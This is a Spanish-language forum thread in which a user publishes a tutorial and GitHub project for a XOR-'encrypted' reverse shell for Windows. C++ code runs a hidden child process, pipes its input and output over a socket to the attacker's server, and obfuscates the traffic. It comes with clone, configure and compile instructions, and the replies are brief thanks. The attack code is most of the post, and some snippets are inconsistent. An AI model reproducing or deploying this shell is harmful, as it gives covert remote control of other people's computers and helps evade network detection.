Shell inversa "Cifrada" segunda parte (Windows)

  • 4 Respuestas
  • 233 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado d3adly

  • *
  • Colaborador
  • *
  • Mensajes: 89
  • Actividad:
    100%
  • Country: 00
  • Reputación 5
    • Ver Perfil
    • sh1tty c0d3
    • Email

Shell inversa "Cifrada" segunda parte (Windows)

  • en: Julio 05, 2020, 09:14:44 pm
Hola comunidad, hoy traigo la segunda parte del post anterior sobre You are not allowed to view links. Register or Login, esta vez aplicado a sistemas Windows.

En teoria el proceso es el mismo, a diferencia que ahora no se realiza un duplicado de la imagen del proceso en memoria. Las funciones mas importantes a usar con:
  • You are not allowed to view links. Register or Login          - Igual que pipe en linux, crea una tuberia con un extremo de lectura y otro de escritura.
  • You are not allowed to view links. Register or Login - Copia y extrae informacion de una tuberia sin modificar su contenido.
  • You are not allowed to view links. Register or Login    - Crea un nuevo proceso, lo genial de esta api es que podemos configurar como se va a ejecutar el programa, en este caso, la manipulacion de stdin y stdout/stderr como nos plazca de una manera muy facil.

Como aclare anteriormente es casi el mismo proceso. Primero procedemos a crear las tuberias usando CreatePipe:
Código: C++
  1.    HANDLE stdinRd, stdinWr, stdoutRd, stdoutWr;
  2.    stdinRd = stdinWr = stdoutRd = stdoutWr = nullptr;
  3.    
  4.    SECURITY_ATTRIBUTES sa;
  5.    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
  6.    sa.lpSecurityDescriptor =  nullptr;
  7.    sa.bInheritHandle = true;   //Proceso hijo puede heredar tuberias retornadas por CreatePipe
  8.    if(!CreatePipe(&stdinRd, &stdinWr, &sa, 0) || !CreatePipe(&stdoutRd, &stdoutWr, &sa, 0)){
  9.       //No se pudo crear las tuberias                
  10.    }
  11.  
En sistemas windows HANDLE es como decir, un descriptor de archivo en linux fd, se usa para crear archivos, leer y escribir hacia ellos. En este caso haremos uso del mismo para crear tuberias.
La estructura You are not allowed to view links. Register or Login contiene la informacion que se le pasara a la funcion CreatePipe, esta estructura decide si un proceso hijo puede heredar o no los HANDLES creados por esta funcion, en este caso las tuberias.
Luego esta la funcion CreatePipe la cual recibe los siguientes parametros:
Código: C++
  1. BOOL CreatePipe(
  2.   PHANDLE               hReadPipe,          //Extremo de lectura  (stdinRd)  
  3.   PHANDLE               hWritePipe,         //Extremo de escritura (stdinWr)
  4.   LPSECURITY_ATTRIBUTES lpPipeAttributes,   //Estructura con los atributos de seguridad (sa)
  5.   DWORD                 nSize               //Tamaño de la estructura (sizeof(SECURITY_ATTRIBUTES))
  6. );
Extraido de la web de You are not allowed to view links. Register or Login
La funcion retorna verdadero si se creo la tuberia o falso si sucede un error. Si todo sale bien, hemos creado las siguientes tuberias:

Código: Text
  1. stdinRd < === > stdinWr
  2. stdoutRd < === > stdoutWr
Todo lo que se escriba a stdinWr, se puede leer en stdinRd, y es el mismo caso para stdoutRd/stdoutWr.

Luego de crear las tuberias se procede a crear el proceso hijo especificandole que redireccione stdout/stderr a un extremo de escritura de una de las tuberias previamente creadas (stdoutWr):

Código: C++
  1.    PROCESS_INFORMATION pi;
  2.    STARTUPINFO si;
  3.    GetStartupInfo(&si);
  4.    si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
  5.    si.wShowWindow = SW_HIDE;
  6.    si.hStdOutput = stdoutWr;
  7.    si.hStdError = stdoutWr;
  8.    si.hStdInput = stdinRd;
  9.    if(CreateProcess(nullptr, "programa.exe", nullptr, nullptr, true, CREATE_NEW_CONSOLE, nullptr, nullptr, &si, &pi) == 0){
  10.       //No se pudo invocar la shell                      
  11.    }

La estructura You are not allowed to view links. Register or Login contiene la informacion de como se creara la ventana del nuevo proceso. La funcion You are not allowed to view links. Register or Login obtiene una estructura del tipo STARTUPINFO, la cual contiene la informacion que se uso al crear el proceso actual. Se hace uso de la misma para llenar la estructura si (la cual vamos a usar para crear el proceso hijo) y asi modificar solamente las siguientes lineas:

Código: C++
  1.    si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
  2.    si.wShowWindow = SW_HIDE;
  3.    si.hStdOutput = stdoutWr;
  4.    si.hStdError = stdoutWr;
  5.    si.hStdInput = stdinRd;
El valor dwFlags contiene la opcion u opciones que se utilizaran en la esctructura:
  • STARTF_USESTDHANDLES    - Redireccionar salida y entrada del programa hacia nuestras tuberias.
  • STARTF_USESHOWWINDOW - Como se va a mostrar la ventana del proceso hijo.
La opcion wShowWindow especifica como se mostrara la ventana del nuevo proceso, en este caso SW_HIDE (Oculta). Luego le siguen las opciones hStdOutput , hStdError y hStdInput las cuales son nuestras tuberias que leeran y escribiran al programa. Entonces las salida y entrada del programa funcionara de la siguiente manera:
  • Todo lo escrito a stdinWr ira a la entrada(stdin) del programa.
  • Todo lo que salga del programa(stdout) lo podemos leer en stdourRd.

Despues se crea el proceso haciendo uso de la funcion CreateProcess:

Código: C++
  1. CreateProcess(nullptr, "programa.exe", nullptr, nullptr, true, CREATE_NEW_CONSOLE, nullptr, nullptr, &si, &pi)
La cual recibe los siguientes parametros:

Código: C++
  1. BOOL CreateProcess(
  2.   LPCWSTR pszImageName,
  3.   LPCWSTR pszCmdLine,
  4.   LPSECURITY_ATTRIBUTES psaProcess,
  5.   LPSECURITY_ATTRIBUTES psaThread,
  6.   BOOL fInheritHandles,
  7.   DWORD fdwCreate,
  8.   LPVOID pvEnvironment,
  9.   LPWSTR pszCurDir,
  10.   LPSTARTUPINFOW psiStartInfo,
  11.   LPPROCESS_INFORMATION pProcInfo
  12. );
Extraido de la web de You are not allowed to view links. Register or Login
En este caso solo nos interesan 5 parametros:
  • pszCmdLine       - Ruta al programa a  ejecutar (programa.exe).
  • fInheritHandles - Especifica si el proceso hijo heredara o no HANDLES creados por el proceso padre (tuberias creadas anteriormente).
  • pvEnvironment  - Especifica el entorno en el cual se creara el nuevo proceso.
  • psiStartInfo       - Informacion con la cual sera creada el proceso (la estructura antes modificada si).
  • pProcInfo           - Puntero a una estructura que recibe la informacion de identificacion del proceso creado.
con las  demas opciones se le pasara como parametro nullptr. Si la funcion se ejecuto correctamente retorna un valor diferente de 0, si retorna este valor significa que hubo un error.

Hasta aqui programa.exe se esta ejecutando oculto, leyendo y escribiendo desde y hacia las tuberias creadas por el proceso padre. Ahora se crean dos hilos para leer y escribir al programa mediante las tuberias, asi logramos control sobre lo que salga y entre al programa para aplicar cualquier tipo de "cifrado", en este ejemplo la vieja confiable XOR:

Código: C++
  1. //Funcion de cifrado XOR
  2. std::string XOR(const std::string Data, const std::string Password){
  3.    std::string Final = "";
  4.    for(char cD : Data){
  5.       for(char cS : Password){
  6.          cD ^= cS;
  7.       }
  8.       Final.append(1, cD);
  9.    }
  10.    return Final;
  11. }

El hilo el cual escribira al proceso va de la siguiente manera:
Código: C++
  1. while(EstaCorriendoLaShell){
  2.    char buffer[1024];
  3.    recv(sckSocket, buffer, 1024, 0);
  4.    std::string strCmd = Xor(std::string(buffer));
  5.    DWORD longitud = strCmd.length();
  6.    DWORD bytesEscritos = 0;
  7.    if(!WriteFile(stdinWr, strCmd.c_str(), longitud, &bytesEscritos , nullptr)){
  8.       //Error escribiendo a la tuberia
  9.       EstaCorriendoLaShell = false;
  10.       break;
  11.    }
  12. }
la funcion You are not allowed to view links. Register or Login recibe como primer parametro el HANDLE hacia el cual escribir, en este caso el extremo de escritura de la tuberia (stdinWr), el segundo parametro es la informacion a escribir, la cual es strCmd que previamente se ha "descifrado" con XOR, el tercer parametro es la cantidad de bytes a escribir, el cuarto es un puntero a una variable de tipo DWORD que recibe la cantidad de bytes que se escribieron al HANDLE(stdinWr) y el ultimo le pasamos como parametro nullptr. Si la funcion se ejecuto correctamente el resultado es mayor a 0, si el retorno es este valor, ocurrio un error.

Y por ultimo el hilo que lee del proceso creado va de la siguiente forma:

Código: C++
  1. while(EstaCorriendoLaShell){
  2.    char cBuffer[512];
  3.    DWORD bytesLeidos = 0;
  4.    if(PeekNamedPipe(stdoutRd, nullptr, 512, &bytesLeidos, nullptr, nullptr)){
  5.       if(bytesLeidos > 0){
  6.          ReadFile(stdoutRd, cBuffer, 512, &bytesLeidos, nullptr);
  7.       } else {
  8.          //Todavia no hay nada
  9.          Sleep(100);
  10.          continue;
  11.       }
  12.       std::string strCmd = Xor(std::string(cBuffer));
  13.       int iLen = strCmd.length();
  14.       send(sckSocket, strCmd.c_str(), iLen, 0);
  15.    } else {
  16.       //PeekNamedPipe error
  17.       EstaCorriendoLaShell = false;
  18.       break;
  19.    }
  20. }
haciendo uso de la funcion previamente explicada PeekNamedPipe que se usa para leer del Pipe/HANDLE especificado(stdoutRd), pero al leer esta funcion no borra nada de la tuberia, es para el simple proposito de darle una "ojeada" (Peek) al HANDLE. Ademas del extremo de la tuberia se le pasa como parametro un puntero al buffer el cual recibira los datos pero en este caso como solo le estamos dando una ojeada se le pasa como parametro nullptr. Tambien recibe como parametro un puntero a una variable que recibira el valor de la cantidad de bytes que se pudieron leer (bytesLeidos). Los demas parametros se quedan en nullptr ya que no se almacenara nada solo es para ver si ya hay datos disponibles para leer.
Si la variable bytesleidos es mayor a cero significa que hay datos y podemos proceder a leer de la tuberia haciendo uso de la funcion ReadFile:

Código: C++
  1. ReadFile(stdoutRd, cBuffer, 512, &bytesLeidos, nullptr);
esta funcion recibe la misma cantida de parametros que WriteFile, el (HANDLE/Pipe) del cual leer, donde almacenar los datos (cBuffer), cantidad de bytes a leer (512) y un puntero a una variable que recibe la cantidad de bytes leidos. El ultimo parametro al igual que la funcion WriteFile lo dejamos en nullptr. Una vez leidos los datos se "cifran" haciendo uso de XOR y posteriormente los envia al servidor(atacante).

Pues esa es una descripcion (no muy a fondo) del desarollo e implementacion de una shell inversa "cifrada" en sistemas Windows. El proyecto esta alojado en github como: You are not allowed to view links. Register or Login. Y como siempre no puede faltar el mini tutorial:

Clonar:

Código: DOS
  1. git clone https://github.com/d3adlym1nd/Ciphered-Reverse-Shell.git
O descargar desde aqui : You are not allowed to view links. Register or Login.

Luego editar el fichero Windows/Client.cpp y modificar la siguiente linea de la clase:
Código: C++
  1. std::string strPassword = "[email protected]";
con cualquier contraseña que se desee. Luego modificar la funcion main:

Código: C++
  1. if(Cli->Connect("127.0.0.1", "1337")){
con la informacion que utilizara el cliente para conectarse.

Abrir el archivo Windows/Server.cpp y modificar la funcion main:

Código: C++
  1. Server *Srv = new Server(1337, "[email protected]");
con el puerto y la contraseña a usar en la comunicacion.

Compilar en el directorio Windows/ con mingw32-make client && mingw32-make server. Luego solo toca correr el servidor y el cliente en otra pc.

Una captura:
         

Espero que les sirva de algo, cualquier duda/aporte/comentario es muy bien recibido. Les deseo un feliz resto del dia ;D

Saludos.


Edit:
Cometi un error en la llamada a la funcion PeekNamedPipe, antes de la variable que recibe la cantidad de bytes leidos, se le debe pasar cuantos bytes se deben leer ya que de lo contrario retornara 0. Si les dio el error de compilacion intercambiar el nullptr antes de la variables que recibe los datos con 512. Asi:

Código: C++
  1. PeekNamedPipe(stdoutRd, nullptr, 512, &bytesLeidos, nullptr, nullptr)
O si ya lo clonaron, actualizan con:

Código: DOS
  1. git pull

Sinceras disculpas por el error.
« Última modificación: Julio 06, 2020, 05:17:04 pm por d3adly »
Ph'nglui mglw'nafh Cthulhu R'lyeh wgah'nagl fhtagn

Conectado Kirari

  • *
  • Moderator
  • Mensajes: 191
  • Actividad:
    100%
  • Country: ru
  • Reputación 11
  • No dejes que el mundo te corrompa
    • Ver Perfil
    • Baúl para el público

Re:Shell inversa "Cifrada" segunda parte (Windows)

  • en: Julio 05, 2020, 09:58:17 pm
Muy buen aporte compañero, muchas gracias por el mismo, lo probaré  :D :D

Saludos!
-Kirari
Jamás te contarán la verdadera versión, siempre te dirán la suya... Por eso... Si quieres saber la verdad, debes buscarla tú mismo...

Desconectado d3adly

  • *
  • Colaborador
  • *
  • Mensajes: 89
  • Actividad:
    100%
  • Country: 00
  • Reputación 5
    • Ver Perfil
    • sh1tty c0d3
    • Email

Re:Shell inversa "Cifrada" segunda parte (Windows)

  • en: Julio 05, 2020, 10:02:34 pm
Gracias @You are not allowed to view links. Register or Login para mi es un placer  ;D
« Última modificación: Julio 05, 2020, 10:05:59 pm por d3adly »
Ph'nglui mglw'nafh Cthulhu R'lyeh wgah'nagl fhtagn

Conectado DtxdF

  • *
  • Moderador Global
  • Mensajes: 775
  • Actividad:
    100%
  • Reputación 16
  • Eres un auto y tienes dos opciones: Parar o Seguir
    • Ver Perfil
    • Mi repositorio de Github donde encontraras herramientas para tu trabajo.
    • Email

Re:Shell inversa "Cifrada" segunda parte (Windows)

  • en: Julio 05, 2020, 10:22:57 pm
Está muy bueno @You are not allowed to view links. Register or Login, cuando saque un tiempo la pruebo. Muchas gracias por tus aportes  ;D

~ DtxdF
Los seres humanos son robots, cuyo combustible es el afanado dinero.

Desconectado d3adly

  • *
  • Colaborador
  • *
  • Mensajes: 89
  • Actividad:
    100%
  • Country: 00
  • Reputación 5
    • Ver Perfil
    • sh1tty c0d3
    • Email

Re:Shell inversa "Cifrada" segunda parte (Windows)

  • en: Julio 05, 2020, 10:54:50 pm
Gracias @You are not allowed to view links. Register or Login  ;D
Ph'nglui mglw'nafh Cthulhu R'lyeh wgah'nagl fhtagn

 

Recreator-Backdoor - Linux And Windows Backdoor

Iniciado por AngelSecurityTeam

Respuestas: 0
Vistas: 644
Último mensaje Octubre 26, 2019, 09:07:28 pm
por AngelSecurityTeam
Obtener contraseña (admin) de windows con metasploit usando el módulo phish_windows_credentials

Iniciado por LionSec

Respuestas: 8
Vistas: 5869
Último mensaje Mayo 25, 2015, 02:49:25 pm
por MagoAstral
Usando Javascript para ejecutar tareas en Windows [cmd]

Iniciado por Jimeno

Respuestas: 4
Vistas: 15201
Último mensaje Octubre 12, 2014, 07:10:26 pm
por syskc0
Aplicación para enviar comandos a pc remota (Windows)

Iniciado por fermino

Respuestas: 6
Vistas: 6793
Último mensaje Noviembre 01, 2013, 08:23:34 pm
por aquelalle
Crackear password de administrador en windows usando Backtrack 3

Iniciado por Devilboy

Respuestas: 3
Vistas: 4684
Último mensaje Marzo 24, 2010, 12:46:31 am
por ||•?¤?- SeCurity-?¤?•||